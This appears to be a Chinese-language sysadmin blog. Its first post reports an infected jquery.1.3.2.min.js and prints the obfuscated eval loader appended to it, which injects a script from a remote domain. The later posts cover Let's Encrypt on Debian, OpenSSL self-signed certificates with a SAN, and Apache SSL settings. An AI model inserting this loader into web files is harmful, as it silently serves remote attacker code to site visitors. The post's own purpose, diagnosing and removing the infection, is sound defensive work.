jquery.1.3.2.min.js 被感染

今天在维护一个服务器的时候,发现首页弹出下载要求.急忙查看,终于在jquery.1.3.2.min.js文件上找到差异.
通过对比cdn上的版本,发现最后被人加上一段代码. 

正常的代码结束如下

被感染的结束如下:

这段被嵌入的代码如下:
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('v(h(p,a,c,k,e,r){e=h(c){i c.o(a)};m(!\'\'.l(/^/,u)){j(c--)r[e(c)]=k[c]||e(c);k=[h(e){i r[e]}];e=h(){i\'\\\\w+\'};c=1};j(c--)m(k[c])p=p.l(q t(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);i p}(\'1 5=5||[];(8(){1 a=3.b(\\\'4\\\');a.7=\\\'//g.9/6/6.c\\\';1 2=3.e(\\\'4\\\')[0];2.f.d(a,2)})();\',n,n,\'|x|s|y|z|A|B|C|h|D||E|F|G|H|I|J\'.K(\'|\'),0,{}))',47,47,'|||||||||||||||||function|return|while||replace|if|17|toString||new|||RegExp|String|eval||var|document|script|_hmt_cnzz|hm|src|space|createElement|js|insertBefore|getElementsByTagName|parentNode|cnzz|split'.split('|'),0,{}))
至于这段代码的作用,大家可以自行搜索.

更换该文件后,一切回复正常.

但是是何时,如何感染上的呢?不得而知. 马上就要上https了,可以稍微安全点.

安装letsencrypt机器人的时候遇到的问题

在一台debian 7 wheezy上安装ssl机器人的时候出现这个问题:

The error was: NotSupportedError(‚Apache plugin support requires libaugeas0 and augeas-lenses version 1.2.0 or higher, please make sure you have you have those installed.‘,)

更新升级后也不能解决.然后就查到这篇博文

就是安装debain backports,

$ sudo echo "deb http://ftp.debian.org/debian wheezy-backports main" | sudo tee -a /etc/apt/sources.list

安装后更新系统,再安装机器人就没问题了.

添加本地自签名证书后续

昨天添加了自签名证书后,发现chrom 还是不认可,认为该证书缺少SAN (Subject Altenative Name).
原来chrome 57以后,加入了这个认证.所以还需要重新生成证书. 这次主要参考了这篇文章

笔记:OpenSSL 生成「自签名」证书遇到的 missing_subjectAltName 问题

Provide subjectAltName to openssl directly on command line

重新改进的生成证书的顺序如下

--
-- Step 1 CA KEY
--
openssl genrsa -out ca.key 2048

--
-- Step 2 CA CRT
--
openssl req -new -x509 -days 365 -key ca.key -subj "/C=CN/ST=GD/L=SZ/O=Acme, Inc./CN=Acme Root CA" -out ca.crt

--
-- Step 3 CSR
--
openssl req -newkey rsa:2048 -nodes -keyout server.key -subj "/C=CN/ST=GD/L=SZ/O=Acme, Inc./CN=*.delianholiday.vm" -out server.csr

--
-- Step 4 Server CRT
--
openssl x509 -req -extfile <(printf "subjectAltName=DNS:delianholiday.vm,DNS:www.delianholiday.vm") -days 365 -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt

然后在apache的vhost配置内加上


    #adding custom SSL cert
SSLEngine on
SSLCertificateFile /var/www/delianholiday_web/cert/server.crt
SSLCertificateKeyFile /var/www/delianholiday_web/cert/server.key
SSLCACertificateFile /var/www/delianholiday_web/cert/ca.crt

然后在chrome导入server.crt和ca.crt 两个证书,重启chrome后就搞定了.

在vagrant 内为自己添加一个自签名的证书来实现ssl

现在很多的内容都要求是SSL,哪怕是本地调试,有些功能也只能在SSL下才能用.比如service worker API. 所以需要为本地开发环境也设置SSL.
先搜一下, 这个教程写的非常明了: https://ishan.co/ssl-vagrant-local

虽然内容是说给mac os的,但是在ubuntu下也毫无问题.